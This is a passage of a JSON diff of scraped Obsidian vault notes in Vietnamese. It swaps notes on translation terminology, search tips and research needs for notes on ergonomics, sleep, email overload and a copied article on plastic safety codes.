tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:10:00.000Z", - "id": "TO" + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Tc" }, { - "Tiêu đề": "Xây dựng mạng lưới đối tác, các bên liên quan", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hợp tác/Xây dựng mạng lưới đối tác, các bên liên quan", + "Tiêu đề": "Bàn phím", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Bàn phím", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên]], [[Tạo đồ thị mạng lưới]]\nLĩnh vực:: [[Phát triển cộng đồng]]\n\n", + "Toàn bộ nội dung": "<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/SkNGxM4LRKQ\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T08:30:00.000Z", - "id": "TP" + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Td" }, { - "Tiêu đề": "Kinh nghiệm tìm thuật ngữ tiếng Việt", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Dịch/Kinh nghiệm tìm thuật ngữ tiếng Việt", + "Tiêu đề": "Các chấn thương ở tay thường gặp", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Các chấn thương ở tay thường gặp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đặt mình vào tư thế của người thầy dạy sinh viên, của người có kiến thức nhưng chỉ tạm thời quên\n\n**Đừng mong tìm được thuật ngữ tiếng Việt nếu không có `filetype:pdf`** !!!\n\n[Từ điển Cồ Việt](http://tratu.coviet.vn/)\n\nVào Wikipedia tiếng Anh → qua Wiki tiếng Trung → [phiên âm sang từ Hán Việt](https://hvdic.thivien.net/transcript.php#trans)\n\nNhiều khi thấy Google Translate hay Bing Translate cũng nghĩ ra nhiều từ thú vị phết. Không hẳn là nó dịch đúng, nhưng vì nó ngu ngu nên khơi mở được nhiều cách tiếp cận mới.\n\nDự án dịch máy [tranonet](https://www.tranonet.com/) dành riêng cho tiếng Việt (theo quảng cáo là hơn cả Bing Translate, Google Translate trong việc dịch thuật ngữ chuyên ngành)\n\nNội dung\n\n- [Lục database](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Luc_database \"Lục database\")\n- [Các từ khóa để thêm vào sau từ mình cần tìm](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Cac_tu_khoa_de_them_vao_sau_tu_minh_can_tim \"Các từ khóa để thêm vào sau từ mình cần tìm\")\n - [Từ khóa chung](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Tu_khoa_chung \"Từ khóa chung\")\n - [Từ khóa y học](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Tu_khoa_y_hoc \"Từ khóa y học\")\n - [Từ khóa tâm lý](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Tu_khoa_tam_ly \"Từ khóa tâm lý\")\n - [Từ khóa vệ tinh – vũ trụ](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#Tu_khoa_ve_tinh_%E2%80%93_vu_tru \"Từ khóa vệ tinh – vũ trụ\")\n - [AutoHotKey](https://xn--qucu-hr5aza.cc/kinh-nghiem-google-thuat-ngu/#AutoHotKey \"AutoHotKey\")\n\n## Lục database\n\n[Dataset Search](https://datasetsearch.research.google.com/)\n\n[Trung tâm Thông tin Tư liệu – Viện Hàn lâm Khoa học và Công nghệ Việt Nam](http://library.vast.vn/primo_library/libweb/action/dlDisplay.do?vid=84vast&docId=&fromSitemap=1&afterPDS=true)\n\n[Bộ sưu tập tài liệu tham khảo ảo – Thư viện trung tâm ĐHQG TP.HCM](http://www.vnulib.edu.vn/?p=1664)\n\n[Google Scholar](https://scholar.google.com/)\n\n-inurl:htm -inurl:html intitle:\"index of\" \"Last modified\" mp4 \"peppa pig\"\n\n:related :info $50..$100\n\nintext:keyword \n\nsite:[reddit.com/r/opendirectories/](https://www.reddit.com/r/opendirectories/)\n\n[List of academic databases and search engines – Wikipedia](https://en.wikipedia.org/wiki/List_of_academic_databases_and_search_engines)\n\n[http://www.powersearchingwithgoogle.com](http://www.powersearchingwithgoogle.com)\n\n[http://www.googleguide.com/advanced_operators_reference.html](http://www.googleguide.com/advanced_operators_reference.html)\n\n[Snoopsnoo](https://snoopsnoo.com/)\n\n## Các từ khóa để thêm vào sau từ mình cần tìm\n\n### Từ khóa chung\n\nchuyên ngành\n\nchương trình đào tạo\n\nĐại cương, khái luận\n\nLuận văn, luận án\n\nKỹ thuật (làm) pdf\n\nHướng dẫn sử dụng (hướng dẫn sử dụng của Toshiba hay có song ngữ dịch chuẩn)\n\nList/checklist/outline\n\n### Từ khóa y học\n\nCác bệnh viện lớn, bộ y tế, WHO\n\nDung nạp\n\n[dieutri.vn](http://dieutri.vn/)\n\n### Từ khóa tâm lý\n\n[https://trangtamly.blog/](https://trangtamly.blog/) (song ngữ)\n\n[tâm lý trị liệu | tủ sách tâm lý trị liệu](https://tamlytrilieu.wordpress.com/)\n\n### Từ khóa vệ tinh – vũ trụ\n\nTrung tâm vệ tinh quốc gia\n\nTrung tâm vũ trụ Việt Nam\n\nViện công nghệ vũ trụ: [http://www.sti.vast.ac.vn/](http://www.sti.vast.ac.vn/)\n\n[http://spaceprogram.vast.vn/ket-qua-san-pham/85-sach-giao-trinh.html](http://spaceprogram.vast.vn/ket-qua-san-pham/85-sach-giao-trinh.html)\n\nISS virtual tour: [http://esamultimedia.esa.int/multimedia/virtual-tour-iss/](http://esamultimedia.esa.int/multimedia/virtual-tour-iss/)\n\n### AutoHotKey\n```\n:*:pdff::filetype:pdf `{backspace}\n:*:indexx::intitle:\"index.of\" -inurl:(html|htm|php|asp|jsp) type:(pdf|epub|mob)\n```", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-02T09:21:00.000Z", - "Ngày cập nhật": "2024-08-02T09:24:00.000Z", - "id": "TQ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Te" }, { - "Tiêu đề": "Phương án dịch một số từ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Dịch/Phương án dịch một số từ", + "Tiêu đề": "Ghế sofa có hại cho cột sống", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Ghế sofa có hại cho cột sống", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> [!Info] Xem thêm: [Ý tưởng nền tảng dịch thuật ngữ](https://xn--qucu-hr5aza.cc/y-tuong-nen-tang-dich-thuat-ngu/?utm_source=CV+%C2%BB+Ph%C6%B0%C6%A1ng+%C3%A1n+d%E1%BB%8Bch+m%E1%BB%99t+s%E1%BB%91+t%E1%BB%AB&utm_medium=%C3%9D+t%C6%B0%E1%BB%9Fng+n%E1%BB%81n+t%E1%BA%A3ng+d%E1%BB%8Bch+thu%E1%BA%ADt+ng%E1%BB%AF&utm_campaign=Giai+%C4%91o%E1%BA%A1n+2)\n# Tâm lý học\n## Trigger \nKích hoạt, kích thích, bấm cò\n\n## Resilience \nĐộ lì, tính kiên cường, tính đàn hồi, sự dẻo dai, sức chống chịu, sức bền, sức bật tinh thần, khả năng hồi phục, khả năng vực dậy\n\n## Well-being \nVấn đề về dịch chữ well-being này lặp đi lặp lại nhiều tới mức em lưu hẳn các phương án dịch để mỗi khi ai nói tới em chỉ việc lôi ra copy:\nThoải mái, an ổn, an lạc, an yên, an khang, khỏe mạnh, sảng khoái, hạnh phúc, phúc lợi, phúc lạc, viên mãn, sống tốt, cuộc sống tốt, chất lượng sống tốt, ổn thỏa, hảo thể, hảo tồn\n- khỏe mạnh và hạnh phúc toàn diện, \n- khỏe về thể chất và tinh thần, \n- niềm vui, niềm hạnh phúc, sự hài lòng, sự bằng an, thư thái, sự hân hoan\n\nhttps://www.facebook.com/groups/342269513147697/permalink/640981609943151/\nhttps://www.facebook.com/giahoang.dl/posts/10223106402222016\nhttps://www.facebook.com/quangdong.ta/posts/pfbid07dgxaJAiqUh36gTUW5Qs7V3cr482knwMkZweVNm3yY2hpSgzPvXFoouZTKjFXocol\n\n## Pride \nTự ái, tự kiêu, tự tôn, tự hào, kiêu hãnh, cao ngạo\n\n## Wholesome \nĐầy đủ, toàn vẹn, trọn vẹn\n\n## Mindfulness \nChánh niệm, tỉnh thức\n\n# Tâm lý học nhận thức\n## Heuristic\nMẹo vặt, lối tắt, lối mòn kinh nghiệm dân gian\n\n## Schema\n\n## Analogy \nẨn dụ, hình ảnh so sánh, ví von\n\n\n# Triết học\n## Identity \ndanh tính, căn tính, bản sắc (trong tương quan đến cá nhân, dân tộc), bản dạng (trong tương quan đến giới), nhân dạng\n\n## Paternalism \nCác nét nghĩa:\n- (Rất thường có, nhưng có lúc không có) Can thiệp trái ý muốn của họ\n- Chăm lo cho sự khỏe mạnh và hạnh phúc toàn diện\n- Không giới hạn trong gia đình\n\nAnh cả luận, huynh trưởng luận\n\n## -ism \nTrường phái, chủ nghĩa, luận, thuyết, duy... luận, lối sống, vị (vị lai, vị nữ)\n\n## Negative/positive \n- âm/dương\n- phủ định/khẳng định\n- tiêu cực/tích cực\n- Thụ động/chủ động\n\n# Các từ khác\n## Insight\nCác nét nghĩa:\n- Khám phá mới mà trước đây không ai biết\n- Nhìn ra được cái cốt lõi\n- Kết quả sau khi đã được thử nghiệm\n- Giảm sự loay hoay cho người đi sau\n\nCái nhìn sâu sắc, cái nhìn thấu, hiểu biết sâu sắc, hiểu biết thấu suốt, nội thị, thấu thị, hiểu biết sâu\n## Navigate \nCác nét nghĩa:\n- Sự khám phá\n\nTìm tòi, khai phá, lèo lái, luồn lách, len lỏi\n\n## Fantasy \nHuyễn tưởng, huyền ảo, mộng tưởng\n\n## Marketing\nTiếp thị\n\n## Logistics \nVận trù\n\n## Unfold\n\n## Inclusive \nHiện diện đầy đủ\n\n## Super, hyper, ultra, mega\nSiêu, cực\n\nCó vẻ như trong tiếng Việt có ít từ chỉ sự vượt quá\n## Meta \nMeta\n\n## Philathrophy \nThiện nguyện, nhân ái, hiến tặng, phúc thiện\n[[Để dịch một khái niệm, hãy vét cạn các nét nghĩa, các cách dùng, các cách hiểu về nó, rồi tìm những từ chứa đựng được càng nhiều nét nghĩa càng tốt]]\n\nMình thấy kể cả khi nó có nghĩa ngầm trong đó rồi, thì việc hiển ngôn nó ra cũng rất quan trọng. Việc mọi người cảm thấy các phương án khác là không đủ để diễn tả hết nội hàm của nó là vì các phương án đó không làm cho mình cảm thấy các nét nghĩa của well-being được hiển ngôn đủ hết. Vậy thì chỉ có cách liệt kê hết tất cả các nét nghĩa của nó ra thì mới cảm thấy đầy đủ được.\n\n## Actionable\nBiết mình cần phải làm gì", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-02T09:28:00.000Z", - "id": "TR" + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Tf" }, { - "Tiêu đề": "Kinh nghiệm mua sách giấy", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Kinh nghiệm mua sách giấy", + "Tiêu đề": "Gù lưng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Gù lưng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Có những cuốn ta quyết định không mua vì không thấy có ích trong việc gì hết. Nhưng lúc nhìn vào thì lại thấy là bổ sung cho một thứ mình cần phải có định mua.\n\nCác lý do không muốn mua sách:\n- Không có nhiều tiền\n- Không có thời gian\n\nCác lý do muốn mua sách giấy:\n- Cần được rút xuống ngay để tham khảo\n- Sau này sẽ ko còn bán\n\nCác lý do muốn đi nhà sách:\n- Khám phá\n- Nhìn vào những cuốn ko nghĩ ra là phải mua\n- Cảm xúc lúc đó\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T08:32:00.000Z", - "id": "TS" + "Ngày tạo": "2023-05-28T13:46:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Tg" }, { - "Tiêu đề": "Nghiên cứu cộng đồng mạng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Nghiên cứu cộng đồng mạng", + "Tiêu đề": "Việc ngột CO₂ xảy ra nhiều hơn chúng ta tưởng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Việc ngột CO₂ xảy ra nhiều hơn chúng ta tưởng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Nhân văn số]], [[Xử lý ngôn ngữ tự nhiên (NLP)]], \nNhu cầu công nghệ:: [[Xác định các chủ đề có trong ngữ liệu]], [[Cào web]]", + "Toàn bộ nội dung": "<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/1Nh_vxpycEA\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n\r\n| Nồng độ (ppm) | Vị trí thường gặp | Mức độ giảm | Triệu chứng |\r\n| ------------- | ------------------------ | ----------- | ----------- |\r\n| 500 | | | |\r\n| 1000 | | 15% | |\r\n| 4000 | Ở trong giường và xe hơi | | |\r\n| 10000 | Nón bảo hiểm | | |\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-27T08:29:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "TT" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Th" }, { - "Tiêu đề": "Nghiên cứu", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Nghiên cứu", + "Tiêu đề": "Ô nhiễm tiếng ồn", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Công thái học/Ô nhiễm tiếng ồn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc/Nghiên cứu\" \nWHERE file.name!=this.file.name\n```\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-01T09:13:00.000Z", - "Ngày cập nhật": "2024-07-17T17:10:00.000Z", - "id": "TU" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Ti" }, { - "Tiêu đề": "Phân tích dữ liệu định lượng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Phân tích dữ liệu định lượng", + "Tiêu đề": "Dùng điện thoại trên giường gây rối loạn giấc ngủ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Dùng điện thoại trên giường gây rối loạn giấc ngủ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Chạy thống kê]]\nGiải pháp kỹ thuật::", + "Toàn bộ nội dung": "[[Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất]] \r\n[[Điện thoại làm tăng sự lo lắng]]\r\nThe feeling of disconnected. No phone.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "TV" + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Tj" }, { - "Tiêu đề": "Phân tích dữ liệu định tính", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Phân tích dữ liệu định tính", + "Tiêu đề": "Email làm quá tải", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Email làm quá tải", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Xử lý ngôn ngữ tự nhiên (NLP)]], [[Hệ thống thông tin]]\nNhu cầu công việc:: [[Xây dựng kho tri thức]]\nGiải pháp kỹ thuật::", + "Toàn bộ nội dung": "Nguồn::\n[[Email không được sinh ra để trao đổi thông tin, mà là để làm todo list]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:10:00.000Z", - "id": "TW" + "Ngày tạo": "2023-06-13T13:28:00.000Z", + "Ngày cập nhật": "2024-09-02T18:26:00.000Z", + "id": "Tk" }, { - "Tiêu đề": "Bản đồ lập luận", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Quản lý kiến thức và lập luận/Bản đồ lập luận", + "Tiêu đề": "Không nên dùng chai nước nhiều lần", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Không nên dùng chai nước nhiều lần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Kialo\r\nKialo cuts through the noise typically associated with social and online media, making it easy to engage in focused discussion.\r\n![Kialo - YouTube](https://youtu.be/MifNyU49_JA)\r\n", + "Toàn bộ nội dung": "Có bao giờ bạn quan sát ký hiệu các loại nhựa được in ở phía đáy sản phẩm nhựa chưa? Có bao giờ bạn thắc mắc loại nhựa này có an toàn cho sức khỏe không? Ở bài viết này, Thuận Thiên Plastic sẽ chia sẻ cụ thể về tất cả các loại nhựa phổ biến trên thị trường và các ký hiệu liên quan để dễ dàng nhận biết từ đây có cách sử dụng sao cho đúng. \r\n\r\n## Phân biệt ký hiệu các loại nhựa thông dụng \r\n\r\nNgười Việt Nam hay có thói quen tích trữ thực phẩm bằng hộp nhựa mà ít quan tâm hoặc không để ý các ký hiệu của sản phẩm nhựa. Chỉ cần một chút lưu tâm là bạn biết được hộp nhựa có độc hại không, có ảnh hưởng tới sức khỏe không. \r\n\r\nDưới đáy của sản phẩm nhựa thường có ký hiệu tam giác, và bên trong chứa một con số tương ứng. Ký hiệu này được gọi là mã nhận diện nhựa được Tổ chức Tiêu Chuẩn Quốc Tế ASTM ban hành, tương ứng với các con số từ 1 đến 7. Xét theo độ an toàn, nhựa được chia thành 2 loại nhựa an toàn và nhựa không an toàn. \r\n\r\n![7 loại nhựa](https://thuanthienplastic.com/wp-content/uploads/2022/04/tong-quan.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 1\")\r\n\r\n_Những loại nhựa tuân thủ tiêu chuẩn FDA – Hoa Kỳ_\r\n\r\n### Nhựa số 1 – Nhựa PET (PETE)\r\n\r\n[**Nhựa PET**](https://thuanthienplastic.com/nhua-pet-la-gi/) (Polyethylene terephthalate) (số 1 – hay còn được gọi với tên nhựa số 1) thường được dùng để đựng thực phẩm dạng lỏng như nước trái cây, nước ngọt, nước khoáng, các loại nước chấm… Loại nhựa này chỉ nên sử dụng 1 lần duy nhất, không nên tái chế sử dụng nhiều lần, cũng như không được dùng đựng thực phẩm nóng hoặc ở nhiệt độ cao… gây nguy hại cho sức khỏe người dùng.\r\n\r\n![chai nhựa pet và ký hiệu](https://thuanthienplastic.com/wp-content/uploads/2022/04/pet-va-ky-hieu.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 2\")\r\n\r\n_chai nhựa pet và ký hiệu_\r\n\r\n### Nhựa số 2 – Nhựa HDP hay HDPE \r\n\r\n[**Nhựa HDPE**](https://thuanthienplastic.com/nhua-hdpe-la-gi/) thường được sản xuất các loại chai nhựa đựng sữa, nước suối, nước trái cây, thuốc tẩy hay dầu gội đầu… Ngoài ra loại nhựa này còn được sử dụng để chế tạo túi nhựa, vật liệu cách nhiệt hay ống nhựa… Trên thế giới, nhựa HDP (số 2 – ký hiệu các loại nhựa) rất phổ biến, sử dụng rộng rãi là nhờ vào đặc tính độ dẻo, bền chắc và khả năng chống ẩm rất tốt. \r\n\r\nXét theo độ an toàn, nhựa HDPE được nằm trong danh sách nhựa tốt nhất vì khả năng chịu được nhiệt độ 110 độ C. Đồng thời có thể cho sản phẩm làm từ nhựa này vào lò vi sóng có công suất thấp. Tuy nhiên, một điểm bất cập của nhựa HDPE là khó làm sạch, do đó khi tái sử dụng cần lưu ý kẻo các chất còn sót lại dễ trở thành ổ vi khuẩn gây hại cho sức khỏe người dùng. \r\n\r\n![sản phẩm từ nhựa HDPE an toàn cho người dùng](https://thuanthienplastic.com/wp-content/uploads/2022/04/hdpe.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 3\")\r\n\r\n_sản phẩm từ nhựa HDPE an toàn cho người dùng_\r\n\r\n### Nhựa số 3 – Nhựa PVC \r\n\r\nMặc dù được sử dụng rộng rãi nhưng loại [**nhựa PVC**](https://thuanthienplastic.com/nhua-pvc-la-gi-tinh-chat-va-ung-dung/) (nhựa polyvinyl chloride) số 3 – ký hiệu các loại nhựa nằm trong danh sách nhựa độc hại, chẳng qua là nhờ vào ưu điểm có tính chất dẻo dai, bền, trong suốt và chi phí sản xuất rẻ. Trong sản xuất nhựa PVC có các chất phụ gia độc hại như BPA, phthalates, chì, dioxins, thuỷ ngân và cadmium. Đáng chú ý nhất là Bisphenol A (BPA, loại chất này có thể gây ra ung thư hoặc thay đổi hormone giới tính ở người, đặc biệt khi đốt cháy.\r\n\r\nỞ nhiệt độ thì nhựa PVC có khả năng thẩm thấu và hòa tan vào thức ăn, gây nguy hại cho sức khỏe con người, vì vậy cần lưu ý một số điều như sau:\r\n\r\nKhông mua đồ chơi cho bé bằng nhựa PVC, để ngăn ngừa và tránh bé ngậm vào miệng rất có hại cho sức khỏe.\r\n\r\nHạn chế dùng màng bọc thực phẩm, rất là khi thực phẩm còn nóng. Tuyệt đối không được dùng màng bọc thực phẩm rồi cho vào lò vi sóng để làm nóng thức ăn, điều này cực kỳ nguy hiểm đến sức khỏe. \r\n\r\n![Màng pvc bọc thực phẩm và ký hiệu](https://thuanthienplastic.com/wp-content/uploads/2022/04/mang-pvc.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 4\")\r\n\r\n_Màng pvc bọc thực phẩm và ký hiệu_\r\n\r\n### Nhựa số 4 – Nhựa LDPE \r\n\r\n[**LDPE**](https://thuanthienplastic.com/nhua-ldpe-la-gi/) thuộc họ nhựa Polyethylenes, so với HDPE lại có mật độ thấp hơn, nhưng bản chất loại nhựa này vẫn có đặc tính cơ bản như dẻo, dai và chống ẩm tốt. So với nhựa số 2 thì nhựa LDPE dễ gãy, vỡ, trầy xước và có khả năng chịu được va đập vật lý kém hơn. Bản chất có tính trơ hóa học nên nhựa LDPE thường được chế tạo và sản xuất các loại chai lọ mỹ phẩm, dầu gội, hóa chất, chuyên đựng hóa chất, túi nilon, túi đựng hàng và vỏ bánh… \r\n\r\nLưu ý: Nhựa LDPE tránh nhiệt độ cao, không được dùng trong lò vi sóng, vì rất gây nguy hại cho sức khỏe con người. \r\n\r\n![sản phẩm nhựa ldpe](https://thuanthienplastic.com/wp-content/uploads/2022/04/ldpe.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 5\")\r\n\r\n_sản phẩm nhựa ldpe_\r\n\r\n### Nhựa số 5 – Nhựa PP\r\n\r\n[**Nhựa PP**](https://thuanthienplastic.com/nhua-pp-la-gi/) số 5 được nằm trong danh sách loại nhựa an toàn, chịu được nhiệt độ cao (ít nhất là 130 độ C) và an toàn khi đặt trong lò vi sóng trong thời gian ngắn, khoảng độ 2-3 phút. PP – ký hiệu các loại nhựa được ứng dụng rộng rãi trong việc sản xuất hộp đựng thực phẩm, nhất là loại có khả năng dùng trong lò vi sóng hay cốc đựng sữa, siro hoặc cà phê. Đặc điểm trơ hóa học nên PP được các chuyên gia khuyên sử dụng vì chúng có độ bền cơ học và độ bền nhiệt độ cao, được đánh giá an toàn cho sức khỏe.\r\n\r\n![hộp nhựa pp đựng thực phẩm](https://thuanthienplastic.com/wp-content/uploads/2022/04/hop-nhua-pp-dung-thuc-pham.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 6\")\r\n\r\n_hộp nhựa pp đựng thực phẩm – có ký hiệu nhựa số 5 dưới đáy_\r\n\r\n### Nhựa số 6 – Nhựa PS \r\n\r\nSố 6 – ký hiệu các loại nhựa thường được nhìn thấy trên các hộp đựng thức ăn nhanh, hộp đựng thực phẩm để đi dã ngoại. Mặc dù có khả năng chịu được nhiệt và lạnh đáng kể nhưng ở nhiệt độ cao như đặt trong lò vi sóng thì khả năng phóng ra chất độc hại. Ngoài ra, loại nhựa số 6 không được đựng đồ có chứa chất kiềm mạnh, chất acid mạnh.. do đó không được phép đựng thực phẩm trong một thời gian dài.\r\n\r\n![ps](https://thuanthienplastic.com/wp-content/uploads/2022/04/ps.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 7\")\r\n\r\n_ký hiệu nhựa ps trên sản phẩm_\r\n\r\n_Tìm hiểu chi tiết hơn: [Nhựa PS là gì](https://thuanthienplastic.com/nhua-ps-la-gi/)_\r\n\r\n### Nhựa số 7 – Nhựa PC hoặc không có ký hiệu \r\n\r\nNhựa số 7 là loại nhựa hoặc hỗn hợp nhựa không thuộc các dạng trên, nhưng nhựa PC này không được sử dụng dưới dạng tái chế. Bởi bản chất của loại nhựa số 7 chứa BPA, một hợp chất hóa học gây nguy hại, có thể dẫn tới vô sinh, ung thư hay tiểu đường. \r\n\r\nSở dĩ chúng được sử dụng để sản xuất bình đựng nước, các thùng chuyên đựng hóa chất vì giá thành rẻ. Nhựa số 7 – ký hiệu các loại nhựa phổ biến, nằm trong danh sách nhựa không an toàn cho sức khỏe, độc hại nhất là khi đựng thực phẩm nóng. \r\n\r\n![ống đèn led pc](https://thuanthienplastic.com/wp-content/uploads/2022/04/pc.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 8\")\r\n\r\n_ống đèn led pc và ký hiệu_\r\n\r\n## Các loại nhựa khác \r\n\r\nNgoài 7 ký hiệu các loại nhựa phổ biến được liệt kê ở trên còn có một một loại nhựa khác, có tên là Tritan.  Mặc dù dưới đáy vẫn ký hiệu đánh số 7 nhưng trên thân bình có ghi dòng chữ “BPA Free Tritan” (không chứa BPA) là loại nhựa tự nhiên, có độ trong suốt như thủy tinh, đặc biệt thuộc tính của Tritan khi rơi khó vỡ nên thường được dùng để làm bình đựng nước thể thao. \r\n\r\n## Các loại nhựa an toàn\r\n\r\nSau khi đã tìm hiểu kỹ 7 ký hiệu các loại nhựa phổ biến cũng như các loại nhựa khác, đến đây sẽ liệt kê các loại nhựa an toàn để bạn yên tâm sử dụng, đó là:\r\n\r\n- Nhựa số 1 là [PET](https://thuanthienplastic.com/nhua-pet-la-gi/) (Polyethylene Terephthalate)\r\n- Nhựa số 2 là [HDPE](https://thuanthienplastic.com/nhua-hdpe-la-gi/) (High-Density Polyethylene)\r\n- Nhựa số 4 là [LDPE](https://thuanthienplastic.com/nhua-ldpe-la-gi/) (Low-Density Polyethylene)\r\n- Nhựa số 5 là [PP](https://thuanthienplastic.com/nhua-pp-la-gi/) (Polypropylene)\r\n\r\n![loại nhựa an toàn bạn nên sử dụng và nên tránh](https://thuanthienplastic.com/wp-content/uploads/2022/04/loai-nhua-nao-an-toan.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 